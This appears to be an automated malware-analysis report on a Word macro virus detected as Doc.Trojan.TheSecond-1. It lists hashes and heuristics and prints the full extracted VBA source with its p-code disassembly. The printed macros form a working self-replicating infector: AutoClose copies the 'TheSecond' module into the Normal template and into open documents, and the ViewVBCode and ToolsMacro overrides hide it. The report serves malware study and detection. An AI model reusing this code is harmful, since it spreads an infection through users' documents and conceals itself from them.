TheSecond — Office (OLE) malware analysis

Static analysis result for SHA-256 1532849d683ec242…

MALICIOUS

Office (OLE)

32.0 KB Created: 2002-04-19 20:15:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 83605740eaafe2e56da870eed70f3d43 SHA-1: e98bed43e167c207f529aefba83d19bbef589d04 SHA-256: 1532849d683ec242e7edc192eccb967b4f0457cef9d9daad2c9c68ab6d121a79
128 Risk Score

Malware Insights

TheSecond · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic

The file contains legacy WordBasic macro virus markers and VBA macros, specifically an AutoClose macro designed to infect the user's Normal template. The ClamAV detection name 'Doc.Trojan.TheSecond-1' strongly suggests the malware family. The macro attempts to export and import a component named 'TheSecond' into the Normal template, indicating a persistence or propagation mechanism.

Heuristics 4

  • ClamAV: Doc.Trojan.TheSecond-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.TheSecond-1
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Auto_Close macro low OLE_VBA_AUTOCLOSE
    Auto_Close macro
    Matched line in script
    Sub AutoClose()

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 7221 bytes
SHA-256: d30f90072004f025b13e92f778ff72c06715f26eb0511b1f96ebe2556c5d8313
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "TheSecond"
Sub AutoClose()
  
  
  flag = False
  If Documents.Count >= 1 Then
    counter = NormalTemplate.VBProject.VBComponents.Count
    For I = 1 To counter
      If NormalTemplate.VBProject.VBComponents.Item(I).Name = "TheSecond" Then flag = True
    Next I
    x = Application.StartupPath + "\TheSecond.tmp"
    If Not flag Then
      ActiveDocument.VBProject.VBComponents("TheSecond").Export (x)
      NormalTemplate.VBProject.VBComponents.Import (x)
    End If
    flag = False
    infected = False
    havesave = ActiveDocument.Saved
    For I = 1 To ActiveDocument.VBProject.VBComponents.Count
      If ActiveDocument.VBProject.VBComponents.Item(I).Name = "TheSecond" Then flag = True
    Next I
    If Not flag Then
      NormalTemplate.VBProject.VBComponents("TheSecond").Export (x)
      ActiveDocument.VBProject.VBComponents.Import (x)
      infected = True
    End If
    If havesave And infected And (Left(ActiveDocument.Name, 8) <> "Äîêóìåíò") Then
      Dialogs(wdDialogFileSaveAs).Execute
    End If
    ActiveDocument.Saved = havesave
  End If
End Sub
Sub FilePrint()
  Selection.Find.ClearFormatting
  Selection.Find.Replacement.ClearFormatting
  With Selection.Find
    .Text = "Íþáèí"
    .Replacement.Text = "Íóäèí"
    .Forward = True
    .Wrap = wdFindContinue
    .Format = False
    .MatchCase = False
    .MatchWholeWord = False
    .MatchWildcards = False
  End With
  Dialogs(wdDialogFilePrint).Show
  Selection.Find.ClearFormatting
  Selection.Find.Replacement.ClearFormatting
  With Selection.Find
    .Text = "Íóäèí"
    .Replacement.Text = "Íþáèí"
    .Forward = True
    .Wrap = wdFindContinue
    .Format = False
    .MatchCase = False
    .MatchWholeWord = False
    .MatchWildcards = False
  End With
End Sub
Sub ToolsMacro()
  Dialogs(wdDialogToolsMacro).Display
End Sub
Sub ViewVBCode()
  MsgBox ("Íåò çàãðóæåííûõ ìàêðîñîâ!")
End Sub

' Processing file: /tmp/qstore_xve6ftu2
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 1120 bytes
' Macros/VBA/TheSecond - 3449 bytes
' Line #0:
' 	FuncDefn (Sub AutoClose())
' Line #1:
' Line #2:
' Line #3:
' 	LitVarSpecial (False)
' 	St flag 
' Line #4:
' 	Ld Documents 
' 	MemLd Count 
' 	LitDI2 0x0001 
' 	Ge 
' 	IfBlock 
' Line #5:
' 	Ld NormalTemplate 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	MemLd Count 
' 	St counter 
' Line #6:
' 	StartForVariable 
' 	Ld I 
' 	EndForVariable 
' 	LitDI2 0x0001 
' 	Ld counter 
' 	For 
' Line #7:
' 	Ld I 
' 	Ld NormalTemplate 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	MemLd New 
' 	LitStr 0x0009 "TheSecond"
' 	Eq 
' 	If 
' 	BoSImplicit 
' 	LitVarSpecial (True)
' 	St flag 
' 	EndIf 
' Line #8:
' 	StartForVariable 
' 	Ld I 
' 	EndForVariable 
' 	NextVar 
' Line #9:
' 	Ld Application 
' 	MemLd StartupPath 
' 	LitStr 0x000E "\TheSecond.tmp"
' 	Add 
' 	St x 
' Line #10:
' 	Ld flag 
' 	Not 
' 	IfBlock 
' Line #11:
' 	Ld x 
' 	Paren 
' 	LitStr 0x0009 "TheSecond"
' 	Ld ActiveDocument 
' 	MemLd VBProject 
' 	ArgsMemLd VBComponents 0x0001 
' 	ArgsMemCall Export 0x0001 
' Line #12:
' 	Ld x 
' 	Paren 
' 	Ld NormalTemplate 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemCall Import 0x0001 
' Line #13:
' 	EndIfBlock 
' Line #14:
' 	LitVarSpecial (False)
' 	St flag 
' Line #15:
' 	LitVarSpecial (False)
' 	St infected 
' Line #16:
' 	Ld ActiveDocument 
' 	MemLd Saved 
' 	St havesave 
' Line #17:
' 	StartForVariable 
' 	Ld I 
' 	EndForVariable 
' 	LitDI2 0x0001 
' 	Ld ActiveDocument 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	MemLd Count 
' 	For 
' Line #18:
' 	Ld I 
' 	Ld ActiveDocument 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	MemLd New 
' 	LitStr 0x0009 "TheSecond"
' 	Eq 
' 	If 
' 	BoSImplicit 
' 	LitVarSpecial (True)
' 	St flag 
' 	EndIf 
' Line #19:
' 	StartForVariable 
' 	Ld I 
' 	EndForVariable 
' 	NextVar 
' Line #20:
' 	Ld flag 
' 	Not 
' 	IfBlock 
' Line #21:
' 	Ld x 
' 	Paren 
' 	LitStr 0x0009 "TheSecond"
' 	Ld NormalTemplate 
' 	MemLd VBProject 
' 	ArgsMemLd VBComponents 0x0001 
' 	ArgsMemCall Export 0x0001 
' Line #22:
' 	Ld x 
' 	Paren 
' 	Ld ActiveDocument 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemCall Import 0x0001 
' Line #23:
' 	LitVarSpecial (True)
' 	St infected 
' Line #24:
' 	EndIfBlock 
' Line #25:
' 	Ld havesave 
' 	Ld infected 
' 	And 
' 	Ld ActiveDocument 
' 	MemLd New 
' 	LitDI2 0x0008 
' 	ArgsLd LBound 0x0002 
' 	LitStr 0x0008 "Äîêóìåíò"
' 	Ne 
' 	Paren 
' 	And 
' 	IfBlock 
' Line #26:
' 	Ld wdDialogFileSaveAs 
' 	ArgsLd Dialogs 0x0001 
' 	ArgsMemCall Execute 0x0000 
' Line #27:
' 	EndIfBlock 
' Line #28:
' 	Ld havesave 
' 	Ld ActiveDocument 
' 	MemSt Saved 
' Line #29:
' 	EndIfBlock 
' Line #30:
' 	EndSub 
' Line #31:
' 	FuncDefn (Sub FilePrint())
' Line #32:
' 	Ld Selection 
' 	MemLd Find 
' 	ArgsMemCall ClearFormatting 0x0000 
' Line #33:
' 	Ld Selection 
' 	MemLd Find 
' 	MemLd Replacement 
' 	ArgsMemCall ClearFormatting 0x0000 
' Line #34:
' 	StartWithExpr 
' 	Ld Selection 
' 	MemLd Find 
' 	With 
' Line #35:
' 	LitStr 0x0005 "Íþáèí"
' 	MemStWith Then 
' Line #36:
' 	LitStr 0x0005 "Íóäèí"
' 	MemLdWith Replacement 
' 	MemSt Then 
' Line #37:
' 	LitVarSpecial (True)
' 	MemStWith Forward 
' Line #38:
' 	Ld wdFindContinue 
' 	MemStWith Wrap 
' Line #39:
' 	LitVarSpecial (False)
' 	MemStWith Format$ 
' Line #40:
' 	LitVarSpecial (False)
' 	MemStWith MatchCase 
' Line #41:
' 	LitVarSpecial (False)
' 	MemStWith MatchWholeWord 
' Line #42:
' 	LitVarSpecial (False)
' 	MemStWith MatchWildcards 
' Line #43:
' 	EndWith 
' Line #44:
' 	Ld wdDialogFilePrint 
' 	ArgsLd Dialogs 0x0001 
' 	ArgsMemCall Show 0x0000 
' Line #45:
' 	Ld Selection 
' 	MemLd Find 
' 	ArgsMemCall ClearFormatting 0x0000 
' Line #46:
' 	Ld Selection 
' 	MemLd Find 
' 	MemLd Replacement 
' 	ArgsMemCall ClearFormatting 0x0000 
' Line #47:
' 	StartWithExpr 
' 	Ld Selection 
' 	MemLd Find 
' 	With 
' Line #48:
' 	LitStr 0x0005 "Íóäèí"
' 	MemStWith Then 
' Line #49:
' 	LitStr 0x0005 "Íþáèí"
' 	MemLdWith Replacement 
' 	MemSt Then 
' Line #50:
' 	LitVarSpecial (True)
' 	MemStWith Forward 
' Line #51:
' 	Ld wdFindContinue 
' 	MemStWith Wrap 
' Line #52:
' 	LitVarSpecial (False)
' 	MemStWith Format$ 
' Line #53:
' 	LitVarSpecial (False)
' 	MemStWith MatchCase 
' Line #54:
' 	LitVarSpecial (False)
' 	MemStWith MatchWholeWord 
' Line #55:
' 	LitVarSpecial (False)
' 	MemStWith MatchWildcards 
' Line #56:
' 	EndWith 
' Line #57:
' 	EndSub 
' Line #58:
' 	FuncDefn (Sub ToolsMacro())
' Line #59:
' 	Ld wdDialogToolsMacro 
' 	ArgsLd Dialogs 0x0001 
' 	ArgsMemCall Display 0x0000 
' Line #60:
' 	EndSub 
' Line #61:
' 	FuncDefn (Sub ViewVBCode())
' Line #62:
' 	LitStr 0x0019 "Íåò çàãðóæåííûõ ìàêðîñîâ!"
' 	Paren 
' 	ArgsCall MsgBox 0x0001 
' Line #63:
' 	EndSub

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